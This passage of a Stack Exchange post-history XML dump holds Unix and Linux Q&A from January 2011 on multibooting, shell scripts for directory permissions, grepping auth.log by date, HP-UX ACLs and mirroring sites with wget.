  <row Id="13306" PostHistoryTypeId="2" PostId="5894" RevisionGUID="70f23f8d-4b5f-4724-8b5a-7b55f6fd84c0" CreationDate="2011-01-15T01:36:51.400" UserId="2459" Text="Use tcpdump to capture packets that are leaving your local LAN subnet. Then use tools like [Wireshark][] or tshark to do some analysis on how much loss you're experiencing, as well as what the variance in round trip time is, and how TCP is behaving. (Windowing, retransmits, etc).&#xD;&#xA;&#xD;&#xA;The reason I suggest this rather than running some sort of ping/traceroute based monitoring software is that many network operators treat ICMP traffic (and generation of ICMP unreachables, which traceroute relies on) differently to actual UDP/TCP traffic. Using an ICMP based tool may therefore give you spurious results.&#xD;&#xA;&#xD;&#xA;[Wireshark]: http://www.wireshark.org/" />
  <row Id="13307" PostHistoryTypeId="25" PostId="5888" RevisionGUID="576f3e26-ca13-4e63-832f-4fc7918f336b" CreationDate="2011-01-15T01:55:34.583" Comment="http://twitter.com/#!/StackUnix/status/26095113222488064" />
  <row Id="13308" PostHistoryTypeId="5" PostId="5876" RevisionGUID="309668e5-2454-4631-bbfc-bbdc2ab56580" CreationDate="2011-01-15T02:38:18.450" UserId="1207" Comment="added 6 characters in body" Text="Try this:&#xD;&#xA;&#xD;&#xA;1. start vim&#xD;&#xA;2. in vim, use the following:&#xD;&#xA;     &#xD;&#xA;`:r!find /&lt;path&gt; -name 'expression'`&#xD;&#xA;&#xD;&#xA;The results should appear in vim when the search is complete.&#xD;&#xA;&#xD;&#xA;Or&#xD;&#xA;&#xD;&#xA;Try:&#xD;&#xA;&#xD;&#xA;    find /&lt;path&gt; -name &gt; results.txt&#xD;&#xA;    vim results.txt " />
  <row Id="13309" PostHistoryTypeId="2" PostId="5895" RevisionGUID="84a7766c-b649-4e32-8d0d-6afe6aa0cdb2" CreationDate="2011-01-15T02:41:46.370" UserId="3831" Text="Long story short: Have one laptop, need to multiboot FreeBSD/OpenBSD as well as a number of Linux distros.&#xD;&#xA;&#xD;&#xA;Which one do you think should go first? FreeBSD offers a bootMgr, but I'm not sure how it relates with GRUB.&#xD;&#xA;&#xD;&#xA;How am I supposed to make the partitions knowing that a harddisk can take up to four primary partitions, perhaps make one primary, one extended and make logical partitions? &#xD;&#xA;&#xD;&#xA;If so, how to do that with fdisk because the options aren't very clear about that.&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="13310" PostHistoryTypeId="1" PostId="5895" RevisionGUID="84a7766c-b649-4e32-8d0d-6afe6aa0cdb2" CreationDate="2011-01-15T02:41:46.370" UserId="3831" Text="Multibooting FreeBSD and other Linux distros." />
  <row Id="13311" PostHistoryTypeId="3" PostId="5895" RevisionGUID="84a7766c-b649-4e32-8d0d-6afe6aa0cdb2" CreationDate="2011-01-15T02:41:46.370" UserId="3831" Text="élinuxàéfreebsdàégrubàéopensuseàédualöbootà" />
  <row Id="13312" PostHistoryTypeId="6" PostId="5888" RevisionGUID="00c42f8e-e07e-4c2c-b657-1bbbf2f67868" CreationDate="2011-01-15T03:52:47.470" UserId="298" Comment="edited tags" Text="éshellàéfindàéchmodà" />
  <row Id="13313" PostHistoryTypeId="2" PostId="5896" RevisionGUID="fe3012d2-9178-4eeb-8f64-db60f63d1e06" CreationDate="2011-01-15T03:57:10.203" UserId="250" Text="Grub can boot FreeBSD and that's the way I'd do it because I'm more familiar with Grub. I gave up on FreeBSD because of driver problems but I was able to dual boot it with Ubuntu and you should be able to do so as well. Here is a [post][1] found by googling.&#xD;&#xA;&#xD;&#xA;Regarding partitions, you can make any setup you want because both Linux and BSD can boot from logical partitions. So you can have 1 extended partition with lots of logical ones, or 3 primary partitions and 1 extended partition. It's up to you.&#xD;&#xA;&#xD;&#xA;`fdisk` deserves a separated question, but have you ever really tried to use it? I find `fdisk` pretty straightforward. If you find it complicated you can try a live CD with GParted. The openSUSE live CD should have a GUI partitioning tool as well, but I'm not sure (I'm more familiar with Ubuntu).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.doof.me.uk/2009/11/27/getting-grub2-to-dual-boot-debian-and-freebsd/" />
  <row Id="13314" PostHistoryTypeId="25" PostId="5895" RevisionGUID="86dffb61-ac79-4e0e-94c1-a5165e07765c" CreationDate="2011-01-15T04:55:34.927" Comment="http://twitter.com/#!/StackUnix/status/26140413454712832" />
  <row Id="13315" PostHistoryTypeId="5" PostId="5860" RevisionGUID="58c56c1a-5d23-4fee-a9c0-790bcd5ccc41" CreationDate="2011-01-15T04:59:04.343" UserId="1207" Comment="deleted 1 characters in body" Text="There's a command, I think it comes with apache, or is somehow related to it, that checks permissions, all the way down. So if I have `/home/foo/bar/baz` it will tell me what the permissions are for `baz`, `bar`, `foo`, and `home`. Does anyone know what this command is or another way of doing this? The command basically starts at the argument, and works it's way up to `/` letting you know what the permissions are along the way so you can see if you have a permission problem." />
  <row Id="13316" PostHistoryTypeId="2" PostId="5897" RevisionGUID="030df01d-0824-4856-bfb0-1c99fdbd6db6" CreationDate="2011-01-15T04:59:27.900" UserId="3613" Text="This could easily be made a one-liner. This is not recursive and should be a relatively fast way of doing this in bash. Calling *pwd* in each loop isn't particularly fast, so avoid if you can.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    pushd $(pwd) &gt;/dev/null&#xD;&#xA;    OIFS=$IFS&#xD;&#xA;    IFS=&quot;/&quot;&#xD;&#xA;    for dir in $(pwd); do&#xD;&#xA;        # Remove $(pwd) if you don't need the name.&#xD;&#xA;        # customize stat output as according to /stat --help/&#xD;&#xA;        stat -c &quot;$(pwd) %A&quot; .&#xD;&#xA;        cd ..&#xD;&#xA;    done&#xD;&#xA;    IFS=$OIFS&#xD;&#xA;    popd &gt;/dev/null" />
  <row Id="13317" PostHistoryTypeId="2" PostId="5898" RevisionGUID="54ab28c1-9d06-42e7-979c-4d8b8621de12" CreationDate="2011-01-15T05:02:25.080" UserId="451" Text="I have created the alias below in my `.bash_aliases` file&#xD;&#xA;&#xD;&#xA;`alias auth=&quot;grep \&quot;$(date|awk '{print $2,$3}')\&quot; /var/log/auth.log|grep -E '(BREAK-IN|Invalid user|Failed|refused|su|Illegal)'&quot;`&#xD;&#xA;&#xD;&#xA;This is supposed to:&#xD;&#xA;&#xD;&#xA; - check todays date&#xD;&#xA; - grep `auth.log` for todays messages&#xD;&#xA; - grep todays messages for warning messages matching particular strings&#xD;&#xA;&#xD;&#xA;However, it only works when there's a 2-digit day because days numbered &lt;10 do not have a preceding zero.&#xD;&#xA;&#xD;&#xA;For example;&#xD;&#xA;&#xD;&#xA;I run `date` and pipe the result to `awk`&#xD;&#xA;&#xD;&#xA;`date` outputs `Sat Jan  1 04:56:10 GMT 2011` and then awk captures `$2` and `$3` and feeds them into grep as follows&#xD;&#xA;&#xD;&#xA;`Jan 1`&#xD;&#xA;&#xD;&#xA;However, when there's a single digit day, messages in `auth.log` appear as follows  &#xD;&#xA;&#xD;&#xA;    Jan  1 00:44:57 linux su[21249]: pam_unix(su:session): session closed for user root&#xD;&#xA;&#xD;&#xA;So there are two spaces following `Jan` in the `auth.log` but only one space following `Jan` in my grep command&#xD;&#xA;&#xD;&#xA;How can I modify the command to allow for the additional space?" />
  <row Id="13318" PostHistoryTypeId="1" PostId="5898" RevisionGUID="54ab28c1-9d06-42e7-979c-4d8b8621de12" CreationDate="2011-01-15T05:02:25.080" UserId="451" Text="I need help with grep and awk" />
  <row Id="13319" PostHistoryTypeId="3" PostId="5898" RevisionGUID="54ab28c1-9d06-42e7-979c-4d8b8621de12" CreationDate="2011-01-15T05:02:25.080" UserId="451" Text="éshellöscriptàégrepàéawkà" />
  <row Id="13320" PostHistoryTypeId="5" PostId="5897" RevisionGUID="6c30d750-ef2c-406a-835b-ced2c6d6ec3a" CreationDate="2011-01-15T05:06:32.727" UserId="3613" Comment="Accept argument rather than defaulting to pwd" Text="This could easily be made a one-liner. This is not recursive and should be a relatively fast way of doing this in bash. Calling *pwd* in each loop isn't particularly fast, so avoid if you can.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    if [ -n $1 ]; then&#xD;&#xA;        echo &quot;Usage: $0 [FILE]&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;    pushd $(pwd) &gt;/dev/null&#xD;&#xA;    cd $1&#xD;&#xA;&#xD;&#xA;    OIFS=$IFS&#xD;&#xA;    IFS=&quot;/&quot;&#xD;&#xA;    for dir in $(pwd); do&#xD;&#xA;        # Remove $(pwd) if you don't need the name.&#xD;&#xA;        # customize stat output as according to /stat --help/&#xD;&#xA;        stat -c &quot;$(pwd) %A&quot; .&#xD;&#xA;        cd ..&#xD;&#xA;    done&#xD;&#xA;    IFS=$OIFS&#xD;&#xA;    popd &gt;/dev/null" />
  <row Id="13321" PostHistoryTypeId="2" PostId="5899" RevisionGUID="d26debc1-02a7-4a5b-b0dc-63cf648cd751" CreationDate="2011-01-15T05:24:27.463" UserId="3613" Text="The other answers were certainly on the right path, but the MDM/multiseat documentation is quite lacking and disperse. Some of the links provided here were outdated, referencing XFree86, Xorg's predecessor. Some digging shows that most MDM configurations use Xephyr.&#xD;&#xA;&#xD;&#xA;Here is a HOWTO on building Multiseat Xephyr configuration: &#xD;&#xA;&#xD;&#xA;&gt; http://en.wikibooks.org/wiki/Multiterminal_with_Xephyr" />
  <row Id="13322" PostHistoryTypeId="2" PostId="5900" RevisionGUID="687a0fed-51c6-41d5-aafe-3a297c3a5c09" CreationDate="2011-01-15T05:27:28.053" UserId="1078" Text="Rather than using `date | awk ...`, you can use a format specifier with the date command for the format you want. According to the `date(1)` man page, `%b` is the abbreviated month name, and `%e` is the day of month, space padded, same as `%_d`.&#xD;&#xA;&#xD;&#xA;The following date command should give you a string in the form you want:&#xD;&#xA;&#xD;&#xA;    date &quot;+%b %e&quot;&#xD;&#xA;&#xD;&#xA;I couldn't test this because today is the 15th, and I don't want to change the date of my system to just test this. But according to the docco, it should work." />
  <row Id="13323" PostHistoryTypeId="2" PostId="5901" RevisionGUID="ecf04ebc-2c62-41c3-b6c9-2522f71585dd" CreationDate="2011-01-15T05:30:42.230" UserId="2119" Text="In Midnight Commander, how to quickly set the right panel to the same directory as the left panel (and vice versa)?" />
  <row Id="13324" PostHistoryTypeId="1" PostId="5901" RevisionGUID="ecf04ebc-2c62-41c3-b6c9-2522f71585dd" CreationDate="2011-01-15T05:30:42.230" UserId="2119" Text="How to open the same directory in another panel in Midnight Commander?" />
  <row Id="13325" PostHistoryTypeId="3" PostId="5901" RevisionGUID="ecf04ebc-2c62-41c3-b6c9-2522f71585dd" CreationDate="2011-01-15T05:30:42.230" UserId="2119" Text="émcà" />
  <row Id="13326" PostHistoryTypeId="5" PostId="5897" RevisionGUID="1d81e528-5f3d-4fbe-bb80-73a822f41f9a" CreationDate="2011-01-15T05:36:58.557" UserId="3613" Comment="added one-liner" Text="This could easily be made a one-liner. This is not recursive and should be a relatively fast way of doing this in bash. Calling *pwd* in each loop isn't particularly fast, so avoid if you can.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    if [ -n $1 ]; then&#xD;&#xA;        echo &quot;Usage: $0 [FILE]&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;    pushd $(pwd) &gt;/dev/null&#xD;&#xA;    cd $1&#xD;&#xA;&#xD;&#xA;    OIFS=$IFS&#xD;&#xA;    IFS=&quot;/&quot;&#xD;&#xA;    for dir in $(pwd); do&#xD;&#xA;        # Remove $(pwd) if you don't need the name.&#xD;&#xA;        # customize stat output as according to /stat --help/&#xD;&#xA;        stat -c &quot;$(pwd) %A&quot; .&#xD;&#xA;        cd ..&#xD;&#xA;    done&#xD;&#xA;    IFS=$OIFS&#xD;&#xA;    popd &gt;/dev/null&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Alternative, a one-liner for the pwd:&#xD;&#xA;&#xD;&#xA;    pushd $(pwd) &gt;/dev/null; OIFS=$IFS; IFS=&quot;/&quot;; for dir in $(pwd); do stat -c &quot;$(pwd) %A&quot; .; cd ..; done; IFS=$OIFS; popd &gt;/dev/null" />
  <row Id="13327" PostHistoryTypeId="5" PostId="5900" RevisionGUID="13ee1157-4a68-4166-b4d8-b6a8802071a2" CreationDate="2011-01-15T05:39:14.187" UserId="1078" Comment="added 278 characters in body" Text="Rather than using `date | awk ...`, you can use a format specifier with the date command for the format you want. According to the `date(1)` man page, `%b` is the abbreviated month name, and `%e` is the day of month, space padded, same as `%_d`.&#xD;&#xA;&#xD;&#xA;The following date command should give you a string in the form you want:&#xD;&#xA;&#xD;&#xA;    date &quot;+%b %e&quot;&#xD;&#xA;&#xD;&#xA;You can also put other characters into the format specifier, so if you use:&#xD;&#xA;&#xD;&#xA;    date &quot;+^%b %e&quot;&#xD;&#xA;&#xD;&#xA;you'll get a grep pattern that matches the date only at the beginning of the line. This would prevent any false matches where there is a date in the message part of the log.&#xD;&#xA;&#xD;&#xA;I couldn't test this because today is the 15th, and I don't want to change the date of my system to just test this. But according to the docco, it should work." />
  <row Id="13328" PostHistoryTypeId="5" PostId="5900" RevisionGUID="0cc863b1-f738-48dd-82e1-46fbd2cc9c4d" CreationDate="2011-01-15T05:45:31.837" UserId="1078" Comment="added 194 characters in body" Text="Rather than using `date | awk ...`, you can use a format specifier with the date command for the format you want. According to the `date(1)` man page, `%b` is the abbreviated month name, and `%e` is the day of month, space padded, same as `%_d`.&#xD;&#xA;&#xD;&#xA;The following date command should give you a string in the form you want:&#xD;&#xA;&#xD;&#xA;    date &quot;+%b %e&quot;&#xD;&#xA;&#xD;&#xA;You can also put other characters into the format specifier, so if you use:&#xD;&#xA;&#xD;&#xA;    date &quot;+^%b %e&quot;&#xD;&#xA;&#xD;&#xA;you'll get a grep pattern that matches the date only at the beginning of the line. This would prevent any false matches where there is a date in the message part of the log.&#xD;&#xA;&#xD;&#xA;As pointed out by Steven D, you can also do this with a single invocation of `grep`:&#xD;&#xA;&#xD;&#xA;    grep -E &quot;$(date &quot;+^%b %e&quot;)&quot;'.*(BREAK-IN|Invalid user|Failed|refused|su|Illegal)' /var/log/auth.log&#xD;&#xA;&#xD;&#xA;I couldn't test this because today is the 15th, and I don't want to change the date of my system to just test this. But according to the docco, it should work." />
  <row Id="13329" PostHistoryTypeId="5" PostId="5897" RevisionGUID="4c1344b3-5b7d-4331-85e2-5b531843a20f" CreationDate="2011-01-15T06:17:58.800" UserId="3613" Comment="fix" Text="This could easily be made a one-liner. This is not recursive and should be a relatively fast way of doing this in bash. Calling *pwd* in each loop isn't particularly fast, so avoid if you can.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    if [ -n $1 ]; then&#xD;&#xA;        echo &quot;Usage: $0 [FILE]&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;    pushd $(pwd) &gt;/dev/null&#xD;&#xA;    cd $1&#xD;&#xA;&#xD;&#xA;    IFS=&quot;/&quot;&#xD;&#xA;    for dir in $(dirs -0); do&#xD;&#xA;        pwd&#xD;&#xA;        cd ..&#xD;&#xA;    done | xargs stat -c &quot;%n %A&quot;&#xD;&#xA;    popd &gt;/dev/null&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Alternative, a one-liner for the pwd. Uses eval to shortcut the &#xD;&#xA;&#xD;&#xA;    pushd $(pwd) &gt;/dev/null; eval 'IFS=&quot;/&quot;; for dir in $(dirs -0); do pwd; cd ..; done | xargs stat -c &quot;%n %A&quot;'; popd &gt;/dev/null" />
  <row Id="13330" PostHistoryTypeId="2" PostId="5902" RevisionGUID="6c6bc63c-b939-4583-a73c-6df3d8d71f3a" CreationDate="2011-01-15T06:31:51.857" UserId="1338" Text="This will replace all non-printable characters with a `#`&#xD;&#xA;&#xD;&#xA;    sed 's/[^[:print:]]/#/g' logfile" />
  <row Id="13331" PostHistoryTypeId="25" PostId="5898" RevisionGUID="b7448807-4c80-423b-84c7-0a4eca5b6d7d" CreationDate="2011-01-15T07:55:34.873" Comment="http://twitter.com/#!/StackUnix/status/26185712151822336" />
  <row Id="13332" PostHistoryTypeId="2" PostId="5903" RevisionGUID="136005d0-f664-457a-b61c-8f0e81ab30c2" CreationDate="2011-01-15T08:02:28.220" UserId="1535" Text="I'm not sure if I understand what you want, but if it is to substitute for occurrences of the successive hex bytes 0x00 0x03, this should work:&#xD;&#xA;&#xD;&#xA;    $ echo '0 61 20 00 03 0A' | xxd -r | sed 's/\x00\x03/test/g' &#xD;&#xA;    a test&#xD;&#xA;" />
  <row Id="13333" PostHistoryTypeId="2" PostId="5904" RevisionGUID="59469a40-5da8-4a3b-9e61-4705f39f3d3f" CreationDate="2011-01-15T09:01:04.410" UserId="688" Text="I have tried using `wget --recursive http://example.com`, but it only retrieves one page, &quot;**example.com/index.html**&quot;. Is this a bug in wget? Which other tools can I try?" />
  <row Id="13334" PostHistoryTypeId="1" PostId="5904" RevisionGUID="59469a40-5da8-4a3b-9e61-4705f39f3d3f" CreationDate="2011-01-15T09:01:04.410" UserId="688" Text="How to mirror a web site?" />
  <row Id="13335" PostHistoryTypeId="3" PostId="5904" RevisionGUID="59469a40-5da8-4a3b-9e61-4705f39f3d3f" CreationDate="2011-01-15T09:01:04.410" UserId="688" Text="éwgetàémirrorà" />
  <row Id="13336" PostHistoryTypeId="2" PostId="5905" RevisionGUID="f1047989-272f-45fb-a430-867ec2d4374e" CreationDate="2011-01-15T09:53:23.970" UserId="3226" Text="Probably `BATCH`, described in [ports(7)][1], is what you're looking for:&#xD;&#xA;&#xD;&#xA;    # cd /usr/ports/sysutils/screen&#xD;&#xA;    # export BATCH=yes&#xD;&#xA;    # make rmconfig&#xD;&#xA;    # make install clean&#xD;&#xA;    (no configuration menu is displayed)&#xD;&#xA;&#xD;&#xA;`make rmconfig` removes `OPTIONS` config for this port, and you can use it to remove `OPTIONS` which were previously saved when you configured and installed `screen(1)` the first time. `OPTIONS` are stored to directory which is specifed via `PORT_DB_DIR` (defaults to `/var/db/ports`).&#xD;&#xA;&#xD;&#xA;If you use bash, `BATCH` can be set automatically every time you log in:&#xD;&#xA;&#xD;&#xA;    # echo 'export BATCH=yes' &gt;&gt; ~/.bash_profile&#xD;&#xA;&#xD;&#xA;Hope this helps.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/cgi/man.cgi?query=ports&amp;sektion=7" />
  <row Id="13337" PostHistoryTypeId="2" PostId="5906" RevisionGUID="ca68501b-c329-4c8b-a969-55a344670ffa" CreationDate="2011-01-15T09:56:08.427" UserId="3834" Text="Hi, I wonder if I have previously installed ubuntu with root, home, and swap partition. And now I want to change distro to arch linux. Is it so that I only need to wipe my root-partition and install arch linux there instead?" />
  <row Id="13338" PostHistoryTypeId="1" PostId="5906" RevisionGUID="ca68501b-c329-4c8b-a969-55a344670ffa" CreationDate="2011-01-15T09:56:08.427" UserId="3834" Text="When changing distro" />
  <row Id="13339" PostHistoryTypeId="3" PostId="5906" RevisionGUID="ca68501b-c329-4c8b-a969-55a344670ffa" CreationDate="2011-01-15T09:56:08.427" UserId="3834" Text="élinuxàéinstallà" />
  <row Id="13340" PostHistoryTypeId="17" PostId="5908" RevisionGUID="4b0d2580-cdfa-47a5-a7d8-bc9585c5edaf" CreationDate="2011-01-15T10:04:10.067" UserId="-1" Comment="from http://stackoverflow.com/questions/4692287/hpux-setacl-leaves-uid-behind/4697142#4697142" Text="" />
  <row Id="13341" PostHistoryTypeId="17" PostId="5909" RevisionGUID="58836adb-d5f3-49f1-ada3-c3c6c0347a24" CreationDate="2011-01-15T10:04:10.067" UserId="-1" Comment="from http://stackoverflow.com/questions/4692287/hpux-setacl-leaves-uid-behind/4697259#4697259" Text="" />
  <row Id="13342" PostHistoryTypeId="2" PostId="5908" RevisionGUID="a2588097-104a-435f-ae92-687e503ed641" CreationDate="2011-01-14T23:54:15.997" UserId="885" Text="Is user 101 the owner of the file? If so, you need to change the file to a different user ID, with `chown` (in addition to, or in lieu of, the `setacl` call). Every file belongs to one user and one group; ACLs come in addition to that.&#xD;&#xA;&#xD;&#xA;Note that I've never used ACLs on HP/UX, so I may be missing something.&#xD;&#xA;&#xD;&#xA;It might help if you showed the output of `ls -ld /opt/path` and `getacl /opt/path` before you run that `find` command.&#xD;&#xA;" />
  <row Id="13343" PostHistoryTypeId="2" PostId="5909" RevisionGUID="6489d469-cd19-406b-b5b4-e38e88704b96" CreationDate="2011-01-15T00:18:12.080" UserDisplayName="Jonathan Leffler" Text="If you've quoted your command accurately as:&#xD;&#xA;&#xD;&#xA;    find /opt/path -exec setacl -d user:myUser{} ';'&#xD;&#xA;&#xD;&#xA;you are missing a crucial space:&#xD;&#xA;&#xD;&#xA;    find /opt/path -exec setacl -d user:myUser {} ';'&#xD;&#xA;&#xD;&#xA;The former invokes undefined (or maybe implementation-defined) behaviour from `find`; it might or might not expand the file name when the `{}` is not in an argument on its own.  But it then invokes the `setacl` command with no filename; it combines the filename with the control argument `user:myUser`.&#xD;&#xA;&#xD;&#xA;It is most unlikely to be correct as written - but I'm hoping that it is just a typo in your transcription from your system to SO." />
  <row Id="13344" PostHistoryTypeId="2" PostId="5907" RevisionGUID="9ff2ab58-fb11-4540-92ff-d1ce56056f50" CreationDate="2011-01-14T14:49:58.493" UserId="3828" Text="I have a shell script that I execute after uninstalling a web application.  The script is meant to clean up permissions that were needed during the execution of the application.&#xD;&#xA;&#xD;&#xA;`find /opt/path -exec setacl -d user:myUser {} ';'`&#xD;&#xA;&#xD;&#xA;After this executes and the acl is removed  I am left with an acl that looks as follows  &#xD;&#xA;&#xD;&#xA;`user:101:--- /opt/path`&#xD;&#xA;&#xD;&#xA;How can I properly call `setacl` to remove the user without leaving behind a uid?" />
  <row Id="13345" PostHistoryTypeId="1" PostId="5907" RevisionGUID="9ff2ab58-fb11-4540-92ff-d1ce56056f50" CreationDate="2011-01-14T14:49:58.493" UserId="3828" Text="HPUX setacl leaves uid behind" />
  <row Id="13346" PostHistoryTypeId="3" PostId="5907" RevisionGUID="9ff2ab58-fb11-4540-92ff-d1ce56056f50" CreationDate="2011-01-14T14:49:58.493" UserId="3828" Text="éshellàéunixàépermissionsàéhpöuxà" />
  <row Id="13347" PostHistoryTypeId="17" PostId="5907" RevisionGUID="ed7d3777-bfc9-4e7f-a075-9605e6919eb3" CreationDate="2011-01-15T10:04:10.067" UserId="-1" Comment="from http://stackoverflow.com/questions/4692287/hpux-setacl-leaves-uid-behind" Text="" />
  <row Id="13348" PostHistoryTypeId="5" PostId="5904" RevisionGUID="162d6a00-d795-4815-8d68-2cdbbb01b4af" CreationDate="2011-01-15T10:05:41.177" UserId="688" Comment="added 3 characters in body" Text="I have tried using `wget --recursive http://tshepang.net/`, but it only retrieves one page, &quot;**tshepang.net/index.html**&quot;. Is this a bug in wget? Which other tools can I try?" />
  <row Id="13349" PostHistoryTypeId="2" PostId="5910" RevisionGUID="2888490f-a109-42e0-9187-4124feb638c3" CreationDate="2011-01-15T10:17:56.367" UserId="3496" Text="Are there any wgetpaste alternatives?" />
  <row Id="13350" PostHistoryTypeId="1" PostId="5910" RevisionGUID="2888490f-a109-42e0-9187-4124feb638c3" CreationDate="2011-01-15T10:17:56.367" UserId="3496" Text="wgetpaste alternatives?" />
  <row Id="13351" PostHistoryTypeId="3" PostId="5910" RevisionGUID="2888490f-a109-42e0-9187-4124feb638c3" CreationDate="2011-01-15T10:17:56.367" UserId="3496" Text="élinuxà" />
  <row Id="13352" PostHistoryTypeId="2" PostId="5911" RevisionGUID="8c90dc39-83f1-42d0-9e4d-fa051f7af409" CreationDate="2011-01-15T10:23:30.253" UserId="3815" Text="that should do as far as i know, but it may also effect some dependancies whose effects may not be immediately visible" />
  <row Id="13353" PostHistoryTypeId="2" PostId="5912" RevisionGUID="e40eb349-ac7e-44af-89cc-4f974629dfcc" CreationDate="2011-01-15T10:24:00.567" UserId="250" Text="You can safely leave the swap partition as is, it can be shared among different distros. The root partition definitely has to be wiped, as you expect.&#xD;&#xA;&#xD;&#xA;The home partition is somewhere in the middle. Of course your data and settings will not harm the new installation, but a difference in configuration options may give you weird errors.&#xD;&#xA;&#xD;&#xA;A better approach is to back up the home partition somewhere, then install the new distro (wiping the home partition on the way). When you are done with installing the new distro, simply recover from the backup." />
  <row Id="13354" PostHistoryTypeId="2" PostId="5913" RevisionGUID="99dd5ee1-47c9-4d83-a7d3-aba719bcb58b" CreationDate="2011-01-15T10:28:22.060" UserId="3815" Text="http://tldp.org/LDP/tlk/dd/interrupts.html explains everything about the question u have asked" />
  <row Id="13355" PostHistoryTypeId="5" PostId="5912" RevisionGUID="101a1fa4-79dd-451f-80f3-5807257ec3ab" CreationDate="2011-01-15T10:31:05.263" UserId="250" Comment="added 435 characters in body" Text="You can safely leave the swap partition as is, it can be shared among different distros. The root partition definitely has to be wiped, as you expect.&#xD;&#xA;&#xD;&#xA;The home partition is somewhere in the middle. Of course your data and settings will not harm the new installation, but a difference in configuration options may give you weird errors.&#xD;&#xA;&#xD;&#xA;A better approach is to back up the home partition somewhere, then install the new distro (wiping the home partition on the way). When you are done with installing the new distro, simply recover from the backup.&#xD;&#xA;&#xD;&#xA;Or, if you don't like backups, just cross your finger and install it that way, keeping the home partition. In the case of errors, try creating a new user to check. If the new user does not have the problem then you know you have to clean up your configurations :) I don't like this approach because it's less clean. Arch and Ubuntu are so different that I'm quite sure there will be lots of unused dot files in your home directory." />
  <row Id="13356" PostHistoryTypeId="2" PostId="5914" RevisionGUID="9f53d98b-2157-49da-9d63-712fea553177" CreationDate="2011-01-15T10:35:00.810" UserId="3815" Text="Assuming wget is in your path (if not, you’ll have to cd into the C:\Program Files\wget directory), issue the following commands:&#xD;&#xA;&#xD;&#xA;mkdir wget_files&#xD;&#xA;cd wget_files&#xD;&#xA;&#xD;&#xA;wget --mirror –w 2 –p --HTML-extension –-convert-links –P c:\wget_files\example1 http://www.yourdomain.com" />
  <row Id="13357" PostHistoryTypeId="5" PostId="5904" RevisionGUID="bd4414fd-beb8-41cb-9391-285bff384bb8" CreationDate="2011-01-15T10:36:03.243" UserId="688" Comment="add debug output" Text="I have tried using `wget --recursive http://tshepang.net/`, but it only retrieves one page, &quot;**tshepang.net/index.html**&quot;. Is this a bug in wget?&#xD;&#xA;&#xD;&#xA;This is what I get with `--debug` option:&#xD;&#xA;&#xD;&#xA;    DEBUG output created by Wget 1.12 on linux-gnu.&#xD;&#xA;&#xD;&#xA;    Enqueuing http://tshepang.net/ at depth 0&#xD;&#xA;    Queue count 1, maxcount 1.&#xD;&#xA;    [IRI Enqueuing `http://tshepang.net/' with None&#xD;&#xA;    Dequeuing http://tshepang.net/ at depth 0&#xD;&#xA;    Queue count 0, maxcount 1.&#xD;&#xA;    --2011-01-15 12:32:51--  http://tshepang.net/&#xD;&#xA;    Resolving tshepang.net... 66.216.125.32&#xD;&#xA;    Caching tshepang.net =&gt; 66.216.125.32&#xD;&#xA;    Connecting to tshepang.net|66.216.125.32|:80... connected.&#xD;&#xA;    Created socket 4.&#xD;&#xA;    Releasing 0x089e2be0 (new refcount 1).&#xD;&#xA;&#xD;&#xA;    ---request begin---&#xD;&#xA;    GET / HTTP/1.0&#xD;&#xA;&#xD;&#xA;    User-Agent: Wget/1.12 (linux-gnu)&#xD;&#xA;&#xD;&#xA;    Accept: */*&#xD;&#xA;&#xD;&#xA;    Host: tshepang.net&#xD;&#xA;&#xD;&#xA;    Connection: Keep-Alive&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---request end---&#xD;&#xA;    HTTP request sent, awaiting response... &#xD;&#xA;    ---response begin---&#xD;&#xA;    HTTP/1.1 302 Found&#xD;&#xA;&#xD;&#xA;    Server: nginx/0.7.65&#xD;&#xA;&#xD;&#xA;    Date: Sat, 15 Jan 2011 10:33:45 GMT&#xD;&#xA;&#xD;&#xA;    Content-Type: text/html; charset=utf-8&#xD;&#xA;&#xD;&#xA;    Connection: keep-alive&#xD;&#xA;&#xD;&#xA;    Status: 302 Found&#xD;&#xA;&#xD;&#xA;    Location: http://posterous.com/sso/verify/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F&#xD;&#xA;&#xD;&#xA;    X-Runtime: 3&#xD;&#xA;&#xD;&#xA;    Set-Cookie: cookies_enabled=true; path=/&#xD;&#xA;&#xD;&#xA;    Cache-Control: no-cache&#xD;&#xA;&#xD;&#xA;    Content-Length: 141&#xD;&#xA;&#xD;&#xA;    X-Varnish: 419207385&#xD;&#xA;&#xD;&#xA;    Age: 0&#xD;&#xA;&#xD;&#xA;    Via: 1.1 varnish&#xD;&#xA;&#xD;&#xA;    X-Cache: MISS&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---response end---&#xD;&#xA;    302 Found&#xD;&#xA;&#xD;&#xA;    Stored cookie tshepang.net -1 (ANY) / &lt;session&gt; &lt;insecure&gt; [expiry none] cookies_enabled true&#xD;&#xA;    Registered socket 4 for persistent reuse.&#xD;&#xA;    Location: http://posterous.com/sso/verify/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F [following]&#xD;&#xA;    Skipping 141 bytes of body: [&lt;html&gt;&lt;body&gt;You are being &lt;a href=&quot;http://posterous.com/sso/verify/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F&quot;&gt;redirected&lt;/a&gt;.&lt;/body&gt;&lt;/html&gt;] done.&#xD;&#xA;    --2011-01-15 12:32:52--  http://posterous.com/sso/verify/2d35d71b1e728dc99f3c153eaf6f8fa0?jumpto=%2F&#xD;&#xA;    conaddr is: 66.216.125.32&#xD;&#xA;    Resolving posterous.com... 